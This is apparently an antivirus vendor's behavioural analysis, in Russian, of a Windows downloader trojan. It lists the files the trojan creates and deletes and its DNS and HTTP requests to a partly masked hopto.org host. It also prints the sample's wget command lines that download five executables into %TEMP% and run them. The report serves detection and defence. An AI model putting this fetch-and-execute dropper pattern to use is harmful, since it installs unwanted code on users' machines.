Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\1.tmp\wget.exe' "http://eu#####gsg.hopto.org/get/wb" --output-document="%TEMP%\wb.exe"
- '%TEMP%\de.exe'
- '%TEMP%\1.tmp\wget.exe' "http://eu#####gsg.hopto.org/get/de" --output-document="%TEMP%\de.exe"
- '%TEMP%\in.exe'
- '%TEMP%\1.tmp\wget.exe' "http://eu#####gsg.hopto.org/get/in" --output-document="%TEMP%\in.exe"
- '%TEMP%\wb.exe' /s
- '%TEMP%\ho.exe'
- '%TEMP%\1.tmp\wget.exe' "http://eu#####gsg.hopto.org/get/lo" --output-document="%TEMP%\lo.exe"
- '%TEMP%\1.tmp\wget.exe' "http://eu#####gsg.hopto.org/get/ho" --output-document="%TEMP%\ho.exe"
- '%TEMP%\lo.exe'
- '%TEMP%\in.exe' (загружен из сети Интернет)
- '%TEMP%\wb.exe' (загружен из сети Интернет)
- '%TEMP%\lo.exe' (загружен из сети Интернет)
- '%TEMP%\de.exe' (загружен из сети Интернет)
- '%TEMP%\ho.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\bat.bat" "
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\de.exe
- %TEMP%\wb.exe
- %TEMP%\in.exe
- %TEMP%\lo.exe
- %TEMP%\1.tmp\bat.bat
- %TEMP%\1.tmp\wget.exe
- %TEMP%\ho.exe
Удаляет следующие файлы:
- %TEMP%\1.tmp\bat.bat
- %TEMP%\1.tmp\wget.exe
Сетевая активность:
Подключается к:
- 'eu#####gsg.hopto.org':80
TCP:
Запросы HTTP GET:
- eu#####gsg.hopto.org/get/wb
- eu#####gsg.hopto.org/get/in
- eu#####gsg.hopto.org/get/de
- eu#####gsg.hopto.org/get/ho
- eu#####gsg.hopto.org/get/lo
UDP:
- DNS ASK eu#####gsg.hopto.org
